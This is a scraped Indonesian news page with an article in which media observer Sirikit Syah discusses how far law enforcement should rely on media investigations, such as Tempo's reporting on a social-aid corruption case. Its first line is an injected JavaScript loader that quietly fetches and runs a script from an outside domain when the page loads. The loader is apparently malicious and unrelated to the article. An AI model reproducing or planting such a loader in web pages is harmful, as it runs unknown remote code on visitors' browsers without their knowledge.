(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MEDIA

Penegak Hukum Jangan Didikte Media


KANALKALIMANTAN.COM, SURABAYA– Kasus dugaan korupsi dana bantuan sosial (bansos) yang melibatkan mantan Menteri Sosial Juliari P. Batubaru mulai menyeret pihak-pihak lain. Dalam pemberitaan Majalah Tempo terbaru, ikut disebut peran perusahaan Ketua Komisi III DPR RI Herman Heri dan penyebutan “Madam”.

Pengamat media sekaligus wartawan senior Jawa Timur Sirikit Syah mengatakan, pengungkapan kasus-kasus korupsi boleh dilakukan oleh banyak pihak. Menurutnya, tidak hanya menjadi tugas Komisi Pemberantasan Korupsi (KPK) saja untuk mengungkapnya. Media sebagai pilar ke empat demokrasi tentunya sangat diharapkan turut serta dalam melakukan investigasi.

Meski demikian, Sirikit menyebut bahwa penegak hukum, dalam hal ini KPK tidak serta merta menggunakan hasil investigasi media sebagai patokan utama dalam mengambil putusan. Menurutnya, hasil investigasi media terhadap kasus-kasus korupsi hanya sebatas menjadi rujukan dan bukan alat untuk mendikte penegak hukum.

Sirikit Syah (Foto: ist)

”Selama kaidah jurnalistik dijalankan, media tentu tidak bisa disalahkan, bahkan ketika beritanya ternyata salah. Media memang tidak selalu benar dan wartawan juga bisa salah. Tapi ketakutan untuk berbuat salah tidak boleh mengerem semangat media untuk mengungkap fakta,” tegas perempuan yang memiliki nama lengkap Hernani Sirikit ini.

Meski demikian, mantan pengajar di STIKOSA-AWS ini menyebut Tempo bisa diadukan dengan pasal pidana jika melakukan kesalahan yang sangat fatal. ”Media dalam hal ini Tempo bisa dipidanakan jika beritanya salah dan tendensius. Ada juga penyelesaian sengketa jurnalistik melalui permintaan maaf, hak koreksi atau hak jawab,” sambung mantan jurnalis Liputan 6 ini.

Ia menambahkan pasal pidana tersebut bisa dilakukan jika kesalahannya with malice atau having malicious intent. “Ada niat jahat dari media tersebut. Kalau kesalahannya disengaja atau absence of malice seperti adanya kemungkinan nara sumber yang sengaja memfitnah dan media tidak sadar telah menerbitkan keterangan nara sumber, media yang bersangkutan tidak bisa dihukum,” katanya.

Sirikit menambahkan, dalam kasus pemberitaan bansos oleh Majalah Tempo, perlu dilihat apakah nara sumber yang dikutip anonim atau menyebut nama. Menurutnya, jika sumber berita investigasi mayoritas anonim atau off the record, maka patut dipertanyakan keabsahan beritanya.

”Jika sampai ada empat nara sumber anonim dan kemudian ada satu saja nara sumber teridentifikasi, lalu kelimanya menyatakan hal yang sama, makan laporan investigasi tersebut bisa disebut valid secara jurnalistik,” pungkas wartawan yang juga pernah bertugas di beberapa media ini. (Kanalkalimantan.com/lfc)

Editor : Cell

 

 

 

 

 


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

10 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

15 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

16 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.